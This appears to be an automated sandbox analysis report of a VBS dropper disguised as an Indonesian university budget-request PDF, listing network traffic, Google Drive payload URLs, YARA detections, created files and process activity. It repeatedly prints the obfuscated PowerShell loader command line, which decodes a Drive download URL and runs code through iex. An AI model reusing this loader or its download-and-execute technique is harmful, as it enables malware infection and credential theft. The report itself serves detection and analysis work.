Source: powershell.exe, 00000004.00000002.2690295829.0000000004737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7XR#l
Source: msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948233936.0000000004250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt
Source: powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/-
Source: msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/6
Source: msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/H
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download
Source: msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt&export=download
Source: powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1864327822.0000021194746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: msiexec.exe, 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/documentation/article/faq-troubleshooting/
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193D15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195625000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193D15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195625000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000001.00000002.1864327822.0000021193D19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021193D15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195625000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2126102585.0000000004363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59083
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59082

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.110:443 -> 192.168.2.4:59082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.4:59083 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7408.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7784.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7408, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7784, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh			Jump to behavior

Source: PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7174
Source: unknown	Process created: Commandline size = 7174
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7174	Jump to behavior

Source: amsi64_7408.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7784.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7408, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7784, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@8/10@5/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Reebok.Dia

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\FDD42EE188E931437F4FBE2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yl2fnnjw.zmj.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7408
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7784

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: msiexec.exe, 00000008.00000003.2158716208.000000001FAD5000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	ReversingLabs: Detection: 18%
Source: PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	Virustotal: Detection: 20%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 